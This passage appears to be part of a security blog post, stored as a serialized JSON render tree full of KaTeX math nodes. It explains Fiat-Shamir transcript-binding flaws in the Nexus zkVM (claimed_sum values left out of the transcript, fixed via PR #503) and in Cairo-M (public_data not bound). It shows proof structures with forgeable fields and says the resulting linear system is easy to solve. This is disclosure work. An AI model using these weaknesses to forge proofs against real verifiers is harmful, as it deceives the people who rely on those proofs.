{"type":23,"tag":230,"props":118679,"children":118680},{},[],{"type":23,"tag":230,"props":118682,"children":118684},{"className":118683,"style":6524},[6426],[],{"type":23,"tag":230,"props":118686,"children":118688},{"className":118687},[6529],[118689],{"type":29,"value":863},{"type":23,"tag":230,"props":118691,"children":118693},{"className":118692,"style":6524},[6426],[],{"type":23,"tag":230,"props":118695,"children":118697},{"className":118696},[6334],[118698,118703,118760,118764,118930,118934,118939],{"type":23,"tag":230,"props":118699,"children":118702},{"className":118700,"style":118701},[6339],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":23,"tag":230,"props":118704,"children":118706},{"className":118705},[23938],[118707,118712],{"type":23,"tag":230,"props":118708,"children":118710},{"className":118709,"style":23945},[23938,23943,23944],[118711],{"type":29,"value":110621},{"type":23,"tag":230,"props":118713,"children":118715},{"className":118714},[6362],[118716],{"type":23,"tag":230,"props":118717,"children":118719},{"className":118718},[6367,23956],[118720,118749],{"type":23,"tag":230,"props":118721,"children":118723},{"className":118722},[6372],[118724,118744],{"type":23,"tag":230,"props":118725,"children":118727},{"className":118726,"style":116033},[6377],[118728],{"type":23,"tag":230,"props":118729,"children":118730},{"style":23969},[118731,118735],{"type":23,"tag":230,"props":118732,"children":118734},{"className":118733,"style":6387},[6386],[],{"type":23,"tag":230,"props":118736,"children":118738},{"className":118737},[6392,6393,6394,6395],[118739],{"type":23,"tag":230,"props":118740,"children":118742},{"className":118741,"style":116049},[6345,23902,6395],[118743],{"type":29,"value":10992},{"type":23,"tag":230,"props":118745,"children":118747},{"className":118746},[24059],[118748],{"type":29,"value":24062},{"type":23,"tag":230,"props":118750,"children":118752},{"className":118751},[6372],[118753],{"type":23,"tag":230,"props":118754,"children":118756},{"className":118755,"style":116064},[6377],[118757],{"type":23,"tag":230,"props":118758,"children":118759},{},[],{"type":23,"tag":230,"props":118761,"children":118763},{"className":118762,"style":6465},[6426],[],{"type":23,"tag":230,"props":118765,"children":118767},{"className":118766},[6345],[118768,118772,118926],{"type":23,"tag":230,"props":118769,"children":118771},{"className":118770},[24031,115344],[],{"type":23,"tag":230,"props":118773,"children":118775},{"className":118774},[115349],[118776],{"type":23,"tag":230,"props":118777,"children":118779},{"className":118778},[6367,23956],[118780,118914],{"type":23,"tag":230,"props":118781,"children":118783},{"className":118782},[6372],[118784,118909],{"type":23,"tag":230,"props":118785,"children":118787},{"className":118786,"style":115362},[6377],[118788,118878,118889],{"type":23,"tag":230,"props":118789,"children":118790},{"style":115366},[118791,118795],{"type":23,"tag":230,"props":118792,"children":118794},{"className":118793,"style":113997},[6386],[],{"type":23,"tag":230,"props":118796,"children":118798},{"className":118797},[6392,6393,6394,6395],[118799],{"type":23,"tag":230,"props":118800,"children":118802},{"className":118801},[6345,6395],[118803,118808,118813],{"type":23,"tag":230,"props":118804,"children":118806},{"className":118805,"style":115383},[6345,23902,6395],[118807],{"type":29,"value":115386},{"type":23,"tag":230,"props":118809,"children":118811},{"className":118810},[6432,6395],[118812],{"type":29,"value":6406},{"type":23,"tag":230,"props":118814,"children":118816},{"className":118815},[6345,6395],[118817,118827],{"type":23,"tag":230,"props":118818,"children":118820},{"className":118819},[6345,29,6395],[118821],{"type":23,"tag":230,"props":118822,"children":118824},{"className":118823},[6345,6395],[118825],{"type":29,"value":118826},"produced",{"type":23,"tag":230,"props":118828,"children":118830},{"className":118829},[6362],[118831],{"type":23,"tag":230,"props":118832,"children":118834},{"className":118833},[6367,23956],[118835,118866],{"type":23,"tag":230,"props":118836,"children":118838},{"className":118837},[6372],[118839,118861],{"type":23,"tag":230,"props":118840,"children":118843},{"className":118841,"style":118842},[6377],"height:0.2052em;",[118844],{"type":23,"tag":230,"props":118845,"children":118847},{"style":118846},"top:-2.2341em;margin-right:0.0714em;",[118848,118852],{"type":23,"tag":230,"props":118849,"children":118851},{"className":118850,"style":110686},[6386],[],{"type":23,"tag":230,"props":118853,"children":118855},{"className":118854},[6392,110691,110692,6395],[118856],{"type":23,"tag":230,"props":118857,"children":118859},{"className":118858,"style":116049},[6345,23902,6395],[118860],{"type":29,"value":10992},{"type":23,"tag":230,"props":118862,"children":118864},{"className":118863},[24059],[118865],{"type":29,"value":24062},{"type":23,"tag":230,"props":118867,"children":118869},{"className":118868},[6372],[118870],{"type":23,"tag":230,"props":118871,"children":118874},{"className":118872,"style":118873},[6377],"height:0.4048em;",[118875],{"type":23,"tag":230,"props":118876,"children":118877},{},[],{"type":23,"tag":230,"props":118879,"children":118880},{"style":115399},[118881,118885],{"type":23,"tag":230,"props":118882,"children":118884},{"className":118883,"style":113997},[6386],[],{"type":23,"tag":230,"props":118886,"children":118888},{"className":118887,"style":115409},[115408],[],{"type":23,"tag":230,"props":118890,"children":118891},{"style":115413},[118892,118896],{"type":23,"tag":230,"props":118893,"children":118895},{"className":118894,"style":113997},[6386],[],{"type":23,"tag":230,"props":118897,"children":118899},{"className":118898},[6392,6393,6394,6395],[118900],{"type":23,"tag":230,"props":118901,"children":118903},{"className":118902},[6345,6395],[118904],{"type":23,"tag":230,"props":118905,"children":118907},{"className":118906},[6345,6395],[118908],{"type":29,"value":6348},{"type":23,"tag":230,"props":118910,"children":118912},{"className":118911},[24059],[118913],{"type":29,"value":24062},{"type":23,"tag":230,"props":118915,"children":118917},{"className":118916},[6372],[118918],{"type":23,"tag":230,"props":118919,"children":118922},{"className":118920,"style":118921},[6377],"height:0.6283em;",[118923],{"type":23,"tag":230,"props":118924,"children":118925},{},[],{"type":23,"tag":230,"props":118927,"children":118929},{"className":118928},[24053,115344],[],{"type":23,"tag":230,"props":118931,"children":118933},{"className":118932,"style":6427},[6426],[],{"type":23,"tag":230,"props":118935,"children":118937},{"className":118936},[6432],[118938],{"type":29,"value":6406},{"type":23,"tag":230,"props":118940,"children":118942},{"className":118941,"style":6427},[6426],[],{"type":23,"tag":230,"props":118944,"children":118946},{"className":118945},[6334],[118947,118951,119008,119012],{"type":23,"tag":230,"props":118948,"children":118950},{"className":118949,"style":116258},[6339],[],{"type":23,"tag":230,"props":118952,"children":118954},{"className":118953},[23938],[118955,118960],{"type":23,"tag":230,"props":118956,"children":118958},{"className":118957,"style":23945},[23938,23943,23944],[118959],{"type":29,"value":110621},{"type":23,"tag":230,"props":118961,"children":118963},{"className":118962},[6362],[118964],{"type":23,"tag":230,"props":118965,"children":118967},{"className":118966},[6367,23956],[118968,118997],{"type":23,"tag":230,"props":118969,"children":118971},{"className":118970},[6372],[118972,118992],{"type":23,"tag":230,"props":118973,"children":118975},{"className":118974,"style":115498},[6377],[118976],{"type":23,"tag":230,"props":118977,"children":118978},{"style":23969},[118979,118983],{"type":23,"tag":230,"props":118980,"children":118982},{"className":118981,"style":6387},[6386],[],{"type":23,"tag":230,"props":118984,"children":118986},{"className":118985},[6392,6393,6394,6395],[118987],{"type":23,"tag":230,"props":118988,"children":118990},{"className":118989,"style":96255},[6345,23902,6395],[118991],{"type":29,"value":90463},{"type":23,"tag":230,"props":118993,"children":118995},{"className":118994},[24059],[118996],{"type":29,"value":24062},{"type":23,"tag":230,"props":118998,"children":119000},{"className":118999},[6372],[119001],{"type":23,"tag":230,"props":119002,"children":119004},{"className":119003,"style":116313},[6377],[119005],{"type":23,"tag":230,"props":119006,"children":119007},{},[],{"type":23,"tag":230,"props":119009,"children":119011},{"className":119010,"style":6465},[6426],[],{"type":23,"tag":230,"props":119013,"children":119015},{"className":119014},[6345],[119016,119020,119170],{"type":23,"tag":230,"props":119017,"children":119019},{"className":119018},[24031,115344],[],{"type":23,"tag":230,"props":119021,"children":119023},{"className":119022},[115349],[119024],{"type":23,"tag":230,"props":119025,"children":119027},{"className":119026},[6367,23956],[119028,119159],{"type":23,"tag":230,"props":119029,"children":119031},{"className":119030},[6372],[119032,119154],{"type":23,"tag":230,"props":119033,"children":119035},{"className":119034,"style":115362},[6377],[119036,119123,119134],{"type":23,"tag":230,"props":119037,"children":119038},{"style":115366},[119039,119043],{"type":23,"tag":230,"props":119040,"children":119042},{"className":119041,"style":113997},[6386],[],{"type":23,"tag":230,"props":119044,"children":119046},{"className":119045},[6392,6393,6394,6395],[119047],{"type":23,"tag":230,"props":119048,"children":119050},{"className":119049},[6345,6395],[119051,119056,119061],{"type":23,"tag":230,"props":119052,"children":119054},{"className":119053,"style":115383},[6345,23902,6395],[119055],{"type":29,"value":115386},{"type":23,"tag":230,"props":119057,"children":119059},{"className":119058},[6432,6395],[119060],{"type":29,"value":6406},{"type":23,"tag":230,"props":119062,"children":119064},{"className":119063},[6345,6395],[119065,119075],{"type":23,"tag":230,"props":119066,"children":119068},{"className":119067},[6345,29,6395],[119069],{"type":23,"tag":230,"props":119070,"children":119072},{"className":119071},[6345,6395],[119073],{"type":29,"value":119074},"consumed",{"type":23,"tag":230,"props":119076,"children":119078},{"className":119077},[6362],[119079],{"type":23,"tag":230,"props":119080,"children":119082},{"className":119081},[6367,23956],[119083,119112],{"type":23,"tag":230,"props":119084,"children":119086},{"className":119085},[6372],[119087,119107],{"type":23,"tag":230,"props":119088,"children":119090},{"className":119089,"style":114158},[6377],[119091],{"type":23,"tag":230,"props":119092,"children":119093},{"style":116403},[119094,119098],{"type":23,"tag":230,"props":119095,"children":119097},{"className":119096,"style":110686},[6386],[],{"type":23,"tag":230,"props":119099,"children":119101},{"className":119100},[6392,110691,110692,6395],[119102],{"type":23,"tag":230,"props":119103,"children":119105},{"className":119104,"style":96255},[6345,23902,6395],[119106],{"type":29,"value":90463},{"type":23,"tag":230,"props":119108,"children":119110},{"className":119109},[24059],[119111],{"type":29,"value":24062},{"type":23,"tag":230,"props":119113,"children":119115},{"className":119114},[6372],[119116],{"type":23,"tag":230,"props":119117,"children":119119},{"className":119118,"style":116430},[6377],[119120],{"type":23,"tag":230,"props":119121,"children":119122},{},[],{"type":23,"tag":230,"props":119124,"children":119125},{"style":115399},[119126,119130],{"type":23,"tag":230,"props":119127,"children":119129},{"className":119128,"style":113997},[6386],[],{"type":23,"tag":230,"props":119131,"children":119133},{"className":119132,"style":115409},[115408],[],{"type":23,"tag":230,"props":119135,"children":119136},{"style":115413},[119137,119141],{"type":23,"tag":230,"props":119138,"children":119140},{"className":119139,"style":113997},[6386],[],{"type":23,"tag":230,"props":119142,"children":119144},{"className":119143},[6392,6393,6394,6395],[119145],{"type":23,"tag":230,"props":119146,"children":119148},{"className":119147},[6345,6395],[119149],{"type":23,"tag":230,"props":119150,"children":119152},{"className":119151},[6345,6395],[119153],{"type":29,"value":6348},{"type":23,"tag":230,"props":119155,"children":119157},{"className":119156},[24059],[119158],{"type":29,"value":24062},{"type":23,"tag":230,"props":119160,"children":119162},{"className":119161},[6372],[119163],{"type":23,"tag":230,"props":119164,"children":119166},{"className":119165,"style":116478},[6377],[119167],{"type":23,"tag":230,"props":119168,"children":119169},{},[],{"type":23,"tag":230,"props":119171,"children":119173},{"className":119172},[24053,115344],[],{"type":23,"tag":32,"props":119175,"children":119176},{},[119177,119179,119184],{"type":29,"value":119178},"All ",{"type":23,"tag":71,"props":119180,"children":119182},{"className":119181},[],[119183],{"type":29,"value":116690},{"type":29,"value":119185}," values must sum to zero (everything produced is consumed).",{"type":23,"tag":32,"props":119187,"children":119188},{},[119189,119191,119196],{"type":29,"value":119190},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":23,"tag":2302,"props":119192,"children":119193},{},[119194],{"type":29,"value":119195},"OODS (Out-of-Domain Sampling)",{"type":29,"value":119197}," test.",{"type":23,"tag":32,"props":119199,"children":119200},{},[119201],{"type":23,"tag":2302,"props":119202,"children":119203},{},[119204],{"type":29,"value":117242},{"type":23,"tag":220,"props":119206,"children":119208},{"code":119207},"NexusProof {\n    stark_proof: {\n        commitments: [Merkle roots of trace columns]\n        sampled_values: [polynomial evaluations]\n        fri_proof: [low-degree test proof]\n    }\n    claimed_sum: [FieldElement; NUM_COMPONENTS]  // \u003C- VULNERABLE\n    log_size: [component sizes]\n}\n",[119209],{"type":23,"tag":71,"props":119210,"children":119211},{"__ignoreMap":7},[119212],{"type":29,"value":119207},{"type":23,"tag":32,"props":119214,"children":119215},{},[119216,119218,119223],{"type":29,"value":119217},"The",{"type":23,"tag":71,"props":119219,"children":119221},{"className":119220},[],[119222],{"type":29,"value":116690},{"type":29,"value":119224}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":23,"tag":32,"props":119226,"children":119227},{},[119228],{"type":23,"tag":93,"props":119229,"children":119232},{"alt":119230,"src":119231},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":23,"tag":32,"props":119234,"children":119235},{},[119236,119238,119247],{"type":29,"value":119237},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":23,"tag":2302,"props":119239,"children":119240},{},[119241,119242],{"type":29,"value":113697},{"type":23,"tag":71,"props":119243,"children":119245},{"className":119244},[],[119246],{"type":29,"value":116690},{"type":29,"value":218},{"type":23,"tag":32,"props":119249,"children":119250},{},[119251],{"type":29,"value":119252},"The composition polynomial is a random linear combination of constraints:",{"type":23,"tag":32,"props":119254,"children":119255},{},[119256],{"type":23,"tag":71,"props":119257,"children":119259},{"className":119258},[6318,6319],[119260],{"type":23,"tag":230,"props":119261,"children":119263},{"className":119262},[6324],[119264],{"type":23,"tag":230,"props":119265,"children":119267},{"className":119266,"ariaHidden":1726},[6329],[119268,119309,119448],{"type":23,"tag":230,"props":119269,"children":119271},{"className":119270},[6334],[119272,119276,119281,119286,119291,119296,119300,119305],{"type":23,"tag":230,"props":119273,"children":119275},{"className":119274,"style":6447},[6339],[],{"type":23,"tag":230,"props":119277,"children":119279},{"className":119278,"style":24434},[6345,23902],[119280],{"type":29,"value":118055},{"type":23,"tag":230,"props":119282,"children":119284},{"className":119283},[24031],[119285],{"type":29,"value":302},{"type":23,"tag":230,"props":119287,"children":119289},{"className":119288},[6345,23902],[119290],{"type":29,"value":4511},{"type":23,"tag":230,"props":119292,"children":119294},{"className":119293},[24053],[119295],{"type":29,"value":5467},{"type":23,"tag":230,"props":119297,"children":119299},{"className":119298,"style":6524},[6426],[],{"type":23,"tag":230,"props":119301,"children":119303},{"className":119302},[6529],[119304],{"type":29,"value":863},{"type":23,"tag":230,"props":119306,"children":119308},{"className":119307,"style":6524},[6426],[],{"type":23,"tag":230,"props":119310,"children":119312},{"className":119311},[6334],[119313,119317,119374,119378,119435,119439,119444],{"type":23,"tag":230,"props":119314,"children":119316},{"className":119315,"style":117459},[6339],[],{"type":23,"tag":230,"props":119318,"children":119320},{"className":119319},[23938],[119321,119326],{"type":23,"tag":230,"props":119322,"children":119324},{"className":119323,"style":23945},[23938,23943,23944],[119325],{"type":29,"value":110621},{"type":23,"tag":230,"props":119327,"children":119329},{"className":119328},[6362],[119330],{"type":23,"tag":230,"props":119331,"children":119333},{"className":119332},[6367,23956],[119334,119363],{"type":23,"tag":230,"props":119335,"children":119337},{"className":119336},[6372],[119338,119358],{"type":23,"tag":230,"props":119339,"children":119341},{"className":119340,"style":116033},[6377],[119342],{"type":23,"tag":230,"props":119343,"children":119344},{"style":23969},[119345,119349],{"type":23,"tag":230,"props":119346,"children":119348},{"className":119347,"style":6387},[6386],[],{"type":23,"tag":230,"props":119350,"children":119352},{"className":119351},[6392,6393,6394,6395],[119353],{"type":23,"tag":230,"props":119354,"children":119356},{"className":119355},[6345,23902,6395],[119357],{"type":29,"value":6074},{"type":23,"tag":230,"props":119359,"children":119361},{"className":119360},[24059],[119362],{"type":29,"value":24062},{"type":23,"tag":230,"props":119364,"children":119366},{"className":119365},[6372],[119367],{"type":23,"tag":230,"props":119368,"children":119370},{"className":119369,"style":116313},[6377],[119371],{"type":23,"tag":230,"props":119372,"children":119373},{},[],{"type":23,"tag":230,"props":119375,"children":119377},{"className":119376,"style":6465},[6426],[],{"type":23,"tag":230,"props":119379,"children":119381},{"className":119380},[6345],[119382,119387],{"type":23,"tag":230,"props":119383,"children":119385},{"className":119384,"style":116914},[6345,23902],[119386],{"type":29,"value":116917},{"type":23,"tag":230,"props":119388,"children":119390},{"className":119389},[6362],[119391],{"type":23,"tag":230,"props":119392,"children":119394},{"className":119393},[6367,23956],[119395,119424],{"type":23,"tag":230,"props":119396,"children":119398},{"className":119397},[6372],[119399,119419],{"type":23,"tag":230,"props":119400,"children":119402},{"className":119401,"style":95355},[6377],[119403],{"type":23,"tag":230,"props":119404,"children":119405},{"style":117549},[119406,119410],{"type":23,"tag":230,"props":119407,"children":119409},{"className":119408,"style":6387},[6386],[],{"type":23,"tag":230,"props":119411,"children":119413},{"className":119412},[6392,6393,6394,6395],[119414],{"type":23,"tag":230,"props":119415,"children":119417},{"className":119416},[6345,23902,6395],[119418],{"type":29,"value":6074},{"type":23,"tag":230,"props":119420,"children":119422},{"className":119421},[24059],[119423],{"type":29,"value":24062},{"type":23,"tag":230,"props":119425,"children":119427},{"className":119426},[6372],[119428],{"type":23,"tag":230,"props":119429,"children":119431},{"className":119430,"style":94909},[6377],[119432],{"type":23,"tag":230,"props":119433,"children":119434},{},[],{"type":23,"tag":230,"props":119436,"children":119438},{"className":119437,"style":6427},[6426],[],{"type":23,"tag":230,"props":119440,"children":119442},{"className":119441},[6432],[119443],{"type":29,"value":113088},{"type":23,"tag":230,"props":119445,"children":119447},{"className":119446,"style":6427},[6426],[],{"type":23,"tag":230,"props":119449,"children":119451},{"className":119450},[6334],[119452,119456,119518,119523,119528],{"type":23,"tag":230,"props":119453,"children":119455},{"className":119454,"style":6447},[6339],[],{"type":23,"tag":230,"props":119457,"children":119459},{"className":119458},[6345],[119460,119470],{"type":23,"tag":230,"props":119461,"children":119463},{"className":119462},[6345,29],[119464],{"type":23,"tag":230,"props":119465,"children":119467},{"className":119466},[6345],[119468],{"type":29,"value":119469},"constraint",{"type":23,"tag":230,"props":119471,"children":119473},{"className":119472},[6362],[119474],{"type":23,"tag":230,"props":119475,"children":119477},{"className":119476},[6367,23956],[119478,119507],{"type":23,"tag":230,"props":119479,"children":119481},{"className":119480},[6372],[119482,119502],{"type":23,"tag":230,"props":119483,"children":119485},{"className":119484,"style":95355},[6377],[119486],{"type":23,"tag":230,"props":119487,"children":119488},{"style":115956},[119489,119493],{"type":23,"tag":230,"props":119490,"children":119492},{"className":119491,"style":6387},[6386],[],{"type":23,"tag":230,"props":119494,"children":119496},{"className":119495},[6392,6393,6394,6395],[119497],{"type":23,"tag":230,"props":119498,"children":119500},{"className":119499},[6345,23902,6395],[119501],{"type":29,"value":6074},{"type":23,"tag":230,"props":119503,"children":119505},{"className":119504},[24059],[119506],{"type":29,"value":24062},{"type":23,"tag":230,"props":119508,"children":119510},{"className":119509},[6372],[119511],{"type":23,"tag":230,"props":119512,"children":119514},{"className":119513,"style":94909},[6377],[119515],{"type":23,"tag":230,"props":119516,"children":119517},{},[],{"type":23,"tag":230,"props":119519,"children":119521},{"className":119520},[24031],[119522],{"type":29,"value":302},{"type":23,"tag":230,"props":119524,"children":119526},{"className":119525},[6345,23902],[119527],{"type":29,"value":4511},{"type":23,"tag":230,"props":119529,"children":119531},{"className":119530},[24053],[119532],{"type":29,"value":5467},{"type":23,"tag":32,"props":119534,"children":119535},{},[119536,119538,119543,119545,119550],{"type":29,"value":119537},"Since each constraint is linear in its ",{"type":23,"tag":71,"props":119539,"children":119541},{"className":119540},[],[119542],{"type":29,"value":116690},{"type":29,"value":119544},", the overall composition polynomial is linear in all ",{"type":23,"tag":71,"props":119546,"children":119548},{"className":119547},[],[119549],{"type":29,"value":116690},{"type":29,"value":119551}," values.",{"type":23,"tag":32,"props":119553,"children":119554},{},[119555,119557],{"type":29,"value":119556},"The verifier checks ",{"type":23,"tag":71,"props":119558,"children":119560},{"className":119559},[6318,6319],[119561],{"type":23,"tag":230,"props":119562,"children":119564},{"className":119563},[6324],[119565],{"type":23,"tag":230,"props":119566,"children":119568},{"className":119567,"ariaHidden":1726},[6329],[119569,119630],{"type":23,"tag":230,"props":119570,"children":119572},{"className":119571},[6334],[119573,119577,119582,119587,119597,119602,119612,119617,119621,119626],{"type":23,"tag":230,"props":119574,"children":119576},{"className":119575,"style":94768},[6339],[],{"type":23,"tag":230,"props":119578,"children":119580},{"className":119579,"style":24434},[6345,23902],[119581],{"type":29,"value":118055},{"type":23,"tag":230,"props":119583,"children":119585},{"className":119584},[24031],[119586],{"type":29,"value":302},{"type":23,"tag":230,"props":119588,"children":119590},{"className":119589},[6345,29],[119591],{"type":23,"tag":230,"props":119592,"children":119594},{"className":119593},[6345],[119595],{"type":29,"value":119596},"oods",{"type":23,"tag":230,"props":119598,"children":119600},{"className":119599,"style":94826},[6345],[119601],{"type":29,"value":5422},{"type":23,"tag":230,"props":119603,"children":119605},{"className":119604},[6345,29],[119606],{"type":23,"tag":230,"props":119607,"children":119609},{"className":119608},[6345],[119610],{"type":29,"value":119611},"point",{"type":23,"tag":230,"props":119613,"children":119615},{"className":119614},[24053],[119616],{"type":29,"value":5467},{"type":23,"tag":230,"props":119618,"children":119620},{"className":119619,"style":6524},[6426],[],{"type":23,"tag":230,"props":119622,"children":119624},{"className":119623},[6529],[119625],{"type":29,"value":863},{"type":23,"tag":230,"props":119627,"children":119629},{"className":119628,"style":6524},[6426],[],{"type":23,"tag":230,"props":119631,"children":119633},{"className":119632},[6334],[119634,119638],{"type":23,"tag":230,"props":119635,"children":119637},{"className":119636,"style":116881},[6339],[],{"type":23,"tag":230,"props":119639,"children":119641},{"className":119640},[6345,29],[119642],{"type":23,"tag":230,"props":119643,"children":119645},{"className":119644},[6345],[119646],{"type":29,"value":118380},{"type":23,"tag":32,"props":119648,"children":119649},{},[119650,119652,119657,119659,119664],{"type":29,"value":119651},"With ",{"type":23,"tag":71,"props":119653,"children":119655},{"className":119654},[],[119656],{"type":29,"value":116690},{"type":29,"value":119658}," not in transcript, the composition polynomial becomes a linear function of the ",{"type":23,"tag":71,"props":119660,"children":119662},{"className":119661},[],[119663],{"type":29,"value":116690},{"type":29,"value":119665}," values. Combined with the constraint that claimed sums must sum to zero, this is a small linear system that is easily solvable.",{"type":23,"tag":32,"props":119667,"children":119668},{},[119669,119673,119675],{"type":23,"tag":2302,"props":119670,"children":119671},{},[119672],{"type":29,"value":118536},{"type":29,"value":119674}," Fixed on October 24, 2025 via ",{"type":23,"tag":181,"props":119676,"children":119679},{"href":119677,"rel":119678},"https://github.com/nexus-xyz/nexus-zkvm/pull/503",[185],[119680],{"type":29,"value":119681},"PR #503",{"type":23,"tag":21113,"props":119683,"children":119684},{},[],{"type":23,"tag":59,"props":119686,"children":119688},{"id":119687},"cairo-m-kakarot-labs",[119689],{"type":29,"value":119690},"Cairo-M (Kakarot Labs)",{"type":23,"tag":32,"props":119692,"children":119693},{},[119694],{"type":29,"value":119695},"Cairo-M, built by Kakarot Labs, is an alternative proof system for the Cairo VM (used by Starknet).",{"type":23,"tag":32,"props":119697,"children":119698},{},[119699],{"type":29,"value":119700},"Cairo-M is in many ways similar to Nexus. It uses logup to prove global statements about the execution.",{"type":23,"tag":32,"props":119702,"children":119703},{},[119704],{"type":23,"tag":2302,"props":119705,"children":119706},{},[119707],{"type":29,"value":117242},{"type":23,"tag":220,"props":119709,"children":119711},{"code":119710},"Proof {\n    claim: ComponentSizes,\n    interaction_claim: LogupClaimsPerComponent,\n    public_data: {          // \u003C- VULNERABLE\n        initial_registers: { pc, fp },\n        final_registers: { pc, fp }, // \u003C- forged\n        clock,                       // \u003C- forged\n        initial_root,                \n        final_root,                  // \u003C- forged\n        public_memory: { program, input, output }, //output modified\n    },\n    stark_proof: [...],\n}\n",[119712],{"type":23,"tag":71,"props":119713,"children":119714},{"__ignoreMap":7},[119715],{"type":29,"value":119710},{"type":23,"tag":32,"props":119717,"children":119718},{},[119719],{"type":23,"tag":2302,"props":119720,"children":119721},{},[119722],{"type":29,"value":117258},{"type":23,"tag":32,"props":119724,"children":119725},{},[119726],{"type":23,"tag":93,"props":119727,"children":119730},{"alt":119728,"src":119729},"7_cairo_m_verification","/posts/zkvms-unfaithful-claims/7_cairo_m_verification.svg",[],{"type":23,"tag":32,"props":119732,"children":119733},{},[119734,119736,119742],{"type":29,"value":119735},"Lookup challenges are derived without ",{"type":23,"tag":71,"props":119737,"children":119739},{"className":119738},[],[119740],{"type":29,"value":119741},"public_data",{"type":29,"value":119743}," being  mixed into the transcript.",{"type":23,"tag":32,"props":119745,"children":119746},{},[119747,119748,119753,119755,119760],{"type":29,"value":980},{"type":23,"tag":71,"props":119749,"children":119751},{"className":119750},[],[119752],{"type":29,"value":119741},{"type":29,"value":119754}," (program I/O, boundary registers, memory roots) enters the lookup relations inside ",{"type":23,"tag":2258,"props":119756,"children":119757},{},[119758],{"type":29,"value":119759},"denominators",{"type":29,"value":119761}," through challenge-weighted encodings of tuples. Abstractly, the verifier checks a relation of the form:",{"type":23,"tag":32,"props":119763,"children":119764},{},[119765],{"type":23,"tag":71,"props":119766,"children":119768},{"className":119767},[6318,6319],[119769],{"type":23,"tag":230,"props":119770,"children":119772},{"className":119771},[6324],[119773],{"type":23,"tag":230,"props":119774,"children":119776},{"className":119775,"ariaHidden":1726},[6329],[119777,119837,119883,119929],{"type":23,"tag":230,"props":119778,"children":119780},{"className":119779},[6334],[119781,119785,119791,119796,119805,119810,119819,119824,119828,119833],{"type":23,"tag":230,"props":119782,"children":119784},{"className":119783,"style":94768},[6339],[],{"type":23,"tag":230,"props":119786,"children":119788},{"className":119787},[6345,23902],[119789],{"type":29,"value":119790},"L",{"type":23,"tag":230,"props":119792,"children":119794},{"className":119793},[24031],[119795],{"type":29,"value":302},{"type":23,"tag":230,"props":119797,"children":119799},{"className":119798},[6345,29],[119800],{"type":23,"tag":230,"props":119801,"children":119803},{"className":119802},[6345],[119804],{"type":29,"value":63450},{"type":23,"tag":230,"props":119806,"children":119808},{"className":119807,"style":94826},[6345],[119809],{"type":29,"value":5422},{"type":23,"tag":230,"props":119811,"children":119813},{"className":119812},[6345,29],[119814],{"type":23,"tag":230,"props":119815,"children":119817},{"className":119816},[6345],[119818],{"type":29,"value":6037},{"type":23,"tag":230,"props":119820,"children":119822},{"className":119821},[24053],[119823],{"type":29,"value":5467},{"type":23,"tag":230,"props":119825,"children":119827},{"className":119826,"style":6427},[6426],[],{"type":23,"tag":230,"props":119829,"children":119831},{"className":119830},[6432],[119832],{"type":29,"value":6719},{"type":23,"tag":230,"props":119834,"children":119836},{"className":119835,"style":6427},[6426],[],{"type":23,"tag":230,"props":119838,"children":119840},{"className":119839},[6334],[119841,119845,119855,119860,119870,119874,119879],{"type":23,"tag":230,"props":119842,"children":119844},{"className":119843,"style":94768},[6339],[],{"type":23,"tag":230,"props":119846,"children":119848},{"className":119847},[6345,29],[119849],{"type":23,"tag":230,"props":119850,"children":119852},{"className":119851},[6345],[119853],{"type":29,"value":119854},"(other transcript",{"type":23,"tag":230,"props":119856,"children":119858},{"className":119857,"style":94826},[6345],[119859],{"type":29,"value":5422},{"type":23,"tag":230,"props":119861,"children":119863},{"className":119862},[6345,29],[119864],{"type":23,"tag":230,"props":119865,"children":119867},{"className":119866},[6345],[119868],{"type":29,"value":119869},"bound terms)",{"type":23,"tag":230,"props":119871,"children":119873},{"className":119872,"style":6524},[6426],[],{"type":23,"tag":230,"props":119875,"children":119877},{"className":119876},[6529],[119878],{"type":29,"value":863},{"type":23,"tag":230,"props":119880,"children":119882},{"className":119881,"style":6524},[6426],[],{"type":23,"tag":230,"props":119884,"children":119886},{"className":119885},[6334],[119887,119892,119897,119902,119907,119911,119916,119920,119925],{"type":23,"tag":230,"props":119888,"children":119891},{"className":119889,"style":119890},[6339],"height:0.8778em;vertical-align:-0.1944em;",[],{"type":23,"tag":230,"props":119893,"children":119895},{"className":119894},[6345],[119896],{"type":29,"value":6358},{"type":23,"tag":230,"props":119898,"children":119900},{"className":119899},[6458],[119901],{"type":29,"value":6461},{"type":23,"tag":230,"props":119903,"children":119906},{"className":119904,"style":119905},[6426],"margin-right:2em;",[],{"type":23,"tag":230,"props":119908,"children":119910},{"className":119909,"style":6465},[6426],[],{"type":23,"tag":230,"props":119912,"children":119914},{"className":119913},[6345,23902],[119915],{"type":29,"value":119790},{"type":23,"tag":230,"props":119917,"children":119919},{"className":119918,"style":6524},[6426],[],{"type":23,"tag":230,"props":119921,"children":119923},{"className":119922},[6529],[119924],{"type":29,"value":863},{"type":23,"tag":230,"props":119926,"children":119928},{"className":119927,"style":6524},[6426],[],{"type":23,"tag":230,"props":119930,"children":119932},{"className":119931},[6334],[119933,119938,119995,119999,120217],{"type":23,"tag":230,"props":119934,"children":119937},{"className":119935,"style":119936},[6339],"height:1.4071em;vertical-align:-0.562em;",[],{"type":23,"tag":230,"props":119939,"children":119941},{"className":119940},[23938],[119942,119947],{"type":23,"tag":230,"props":119943,"children":119945},{"className":119944,"style":23945},[23938,23943,23944],[119946],{"type":29,"value":110621},{"type":23,"tag":230,"props":119948,"children":119950},{"className":119949},[6362],[119951],{"type":23,"tag":230,"props":119952,"children":119954},{"className":119953},[6367,23956],[119955,119984],{"type":23,"tag":230,"props":119956,"children":119958},{"className":119957},[6372],[119959,119979],{"type":23,"tag":230,"props":119960,"children":119962},{"className":119961,"style":116033},[6377],[119963],{"type":23,"tag":230,"props":119964,"children":119965},{"style":23969},[119966,119970],{"type":23,"tag":230,"props":119967,"children":119969},{"className":119968,"style":6387},[6386],[],{"type":23,"tag":230,"props":119971,"children":119973},{"className":119972},[6392,6393,6394,6395],[119974],{"type":23,"tag":230,"props":119975,"children":119977},{"className":119976},[6345,23902,6395],[119978],{"type":29,"value":6074},{"type":23,"tag":230,"props":119980,"children":119982},{"className":119981},[24059],[119983],{"type":29,"value":24062},{"type":23,"tag":230,"props":119985,"children